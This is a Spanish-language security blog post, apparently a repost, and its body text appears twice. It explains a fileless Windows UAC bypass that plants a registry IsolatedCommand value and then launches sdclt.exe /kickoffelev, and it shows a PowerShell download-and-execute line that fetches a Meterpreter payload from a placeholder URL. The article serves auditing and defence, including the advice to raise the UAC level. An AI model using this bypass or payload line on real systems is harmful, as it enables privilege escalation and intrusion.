Fileless 2: Un nuevo (sí, uno más otra vez) bypass UAC para Windows
Hace unos meses Enigma0x3 publicaba un Bypass UAC distinto a los conocidos hasta el momento, se trataba de un bypass UAC Fileless, es decir, sin necesidad de subir una DLL o un binario al equipo para explotar o aprovecharse de la debilidad. En este caso, se manipulaban unos hives del registro y se lograba obtener ejecución de código en un contexto de integridad alto. Incluso, en su día, nos adelantamos siendo los primeros en migrar a Metasploit el código del bypass UAC Fileless de Enigma0x3.
La batalla sigue su curso y siguen apareciendo bypasses de UAC, tal y como podemos ver casi semanalmente en UACMe. Incluso, nosotros tenemos nuestra versión del bypass de UAC con el DLL Hijacking con Wusa y aprovechándonos de CompMgmtLauncher.exe. Lo importante es ver cómo muchas técnicas se repiten o el proceso para realizar búsquedas de debilidades en esta feature de Microsoft es muy parecida en muchos casos y entender las bases de todo esto.
Figura 2: Vídeo con PoC de UAC Bypass usando CompMgmtLauncher en Windows 7/8/8.1
Hace un par de semanas os contaba cómo hacer un bypass de UAC aprovechándonos de los AppPaths. Este bypass también fue descubierto por Enigma0x3. Hoy hablaremos de nuevo de este bypass y como conseguir que, gracias a ello, podamos obtener una nueva versión de bypass UAC Fileless.
Manos a la obra: En busca del Bypass UAC
Ya vimos que los binarios firmados por Microsoft que son auto-elevados pueden traer debilidades debido a la política de UAC, por ello se recomienda cambiarla a “Notificar siempre”. En el bypass de los AppPaths, el binario encontrado que proporcionaba el éxito era el binario sdclt.exe.
Cuando se analizó los argumentos con los que se ejecuta sdclt.exe se pudo observar que existen varios y que alguno podría ser interesante. Enigma0x3 se dio cuenta de que cuando se invoca sdclt.exe se comprueba si el argumento coincide con “/kickoffelev”, si esto es así se establece la ruta completa para sdclt.exe y se agrega “/kickoffjob” como parámetro y se invoca a SxShellExecuteWithElevate. Esto hace que se inicie “%systemroot%\System32\sdclt.exe /kickoffjob“ con el verbo “runas”. En otras palabras, es una forma pragmática de ejecutar la opción “RunAsAdministrator” cuando se hace clic con el botón secundario.
Si echamos un ojo a la ejecución de sdclt.exe /Kickoffelev con nuestro procmon podremos observar que en la rama HKCU del registro de Windows nos encontramos “Shell\[verbo]\command” dónde se podrá escribir cualquier cosa. En el caso del [verbo], será “runas” lo que nos encontraremos. En esta clave que no se encuentra podremos poner una llamada a un binario con parámetros, lo cual es muy interesante para lograr el bypass de UAC y ejecutar nuestro código.
Cuando se añade la clave por defecto en la ruta del registro HKCU\ Softwate\Classes\exefile\shell\runas\command no se obtiene nada. Volviendo a ejecutar Procmon con esa ruta creada vemos que nos aparece una nueva clave no encontrada denominada IsolatedCommand. Ahora sí, en el momento que creemos esa clave y le demos un valor podremos ejecutar código en un contexto de integridad alta.
Si lanzamos el binario sdclt.exe /kickoffevel aparecerá una cmd.exe, tal y como se puede ver en la siguiente imagen. Se puede ver como se crea un fichero en c:\ y luego se borra, por lo que se está ejecutando el cmd.exe en un proceso de integridad alta o con privilegio.
Si modificamos el valor de la entrada por la ejecución de una Powershell que ejecute la instrucción:
Y como lo mejor es verlo funcionando, en este vídeo de menos de dos minutos y medio, os dejo una demostración paso a paso de lo que os he explicado en el artículo.
Como se puede ver, es una nueva forma, muy similar, de realizar Fileless en un bypass de UAC. Microsoft poco a poco va parcheando este tipo de situaciones, aunque no lo consideren vulnerabilidades, y tú, por si acaso, deberías subir el nivel de seguridad de UAC. En resumen, una nueva forma para utilizar en una auditoría interna de sistemas.
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths
Figura 1: Fileless II. Un nuevo (sí, uno más otra vez) Bypass UAC para Windows |
La batalla sigue su curso y siguen apareciendo bypasses de UAC, tal y como podemos ver casi semanalmente en UACMe. Incluso, nosotros tenemos nuestra versión del bypass de UAC con el DLL Hijacking con Wusa y aprovechándonos de CompMgmtLauncher.exe. Lo importante es ver cómo muchas técnicas se repiten o el proceso para realizar búsquedas de debilidades en esta feature de Microsoft es muy parecida en muchos casos y entender las bases de todo esto.
Figura 2: Vídeo con PoC de UAC Bypass usando CompMgmtLauncher en Windows 7/8/8.1
Hace un par de semanas os contaba cómo hacer un bypass de UAC aprovechándonos de los AppPaths. Este bypass también fue descubierto por Enigma0x3. Hoy hablaremos de nuevo de este bypass y como conseguir que, gracias a ello, podamos obtener una nueva versión de bypass UAC Fileless.
Manos a la obra: En busca del Bypass UAC
Ya vimos que los binarios firmados por Microsoft que son auto-elevados pueden traer debilidades debido a la política de UAC, por ello se recomienda cambiarla a “Notificar siempre”. En el bypass de los AppPaths, el binario encontrado que proporcionaba el éxito era el binario sdclt.exe.
Figura 3: Configuración segura en Modo Windows "Vista" |
Cuando se analizó los argumentos con los que se ejecuta sdclt.exe se pudo observar que existen varios y que alguno podría ser interesante. Enigma0x3 se dio cuenta de que cuando se invoca sdclt.exe se comprueba si el argumento coincide con “/kickoffelev”, si esto es así se establece la ruta completa para sdclt.exe y se agrega “/kickoffjob” como parámetro y se invoca a SxShellExecuteWithElevate. Esto hace que se inicie “%systemroot%\System32\sdclt.exe /kickoffjob“ con el verbo “runas”. En otras palabras, es una forma pragmática de ejecutar la opción “RunAsAdministrator” cuando se hace clic con el botón secundario.
Figura 4: invocación de ejecución |
Si echamos un ojo a la ejecución de sdclt.exe /Kickoffelev con nuestro procmon podremos observar que en la rama HKCU del registro de Windows nos encontramos “Shell\[verbo]\command” dónde se podrá escribir cualquier cosa. En el caso del [verbo], será “runas” lo que nos encontraremos. En esta clave que no se encuentra podremos poner una llamada a un binario con parámetros, lo cual es muy interesante para lograr el bypass de UAC y ejecutar nuestro código.
Figura 5: Clave NOT FOUND |
Cuando se añade la clave por defecto en la ruta del registro HKCU\ Softwate\Classes\exefile\shell\runas\command no se obtiene nada. Volviendo a ejecutar Procmon con esa ruta creada vemos que nos aparece una nueva clave no encontrada denominada IsolatedCommand. Ahora sí, en el momento que creemos esa clave y le demos un valor podremos ejecutar código en un contexto de integridad alta.
Figura 6: Clave del Registro con dirección de shell |
Si lanzamos el binario sdclt.exe /kickoffevel aparecerá una cmd.exe, tal y como se puede ver en la siguiente imagen. Se puede ver como se crea un fichero en c:\ y luego se borra, por lo que se está ejecutando el cmd.exe en un proceso de integridad alta o con privilegio.
Figura 7: Shell ejecutada |
Si modificamos el valor de la entrada por la ejecución de una Powershell que ejecute la instrucción:
IEX (new-object net.webclient).downloadstring(‘[ruta http de Meterpreter]’)...podríamos encontrar la posibilidad de ejecutar nuestro código de forma remota en un contexto de integridad alto y sin necesidad de subir un binario o una DLL.
Figura 8: Ruta de ejecución PowerShell |
Y como lo mejor es verlo funcionando, en este vídeo de menos de dos minutos y medio, os dejo una demostración paso a paso de lo que os he explicado en el artículo.
Figura 9: PoC de Fileless 2 para hacer Bypass de UAC en Windows
Como se puede ver, es una nueva forma, muy similar, de realizar Fileless en un bypass de UAC. Microsoft poco a poco va parcheando este tipo de situaciones, aunque no lo consideren vulnerabilidades, y tú, por si acaso, deberías subir el nivel de seguridad de UAC. En resumen, una nueva forma para utilizar en una auditoría interna de sistemas.
Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths
Via: www.elladodelmal.com
Fileless 2: Un nuevo (sí, uno más otra vez) bypass UAC para Windows
Reviewed by Zion3R
on
16:59
Rating: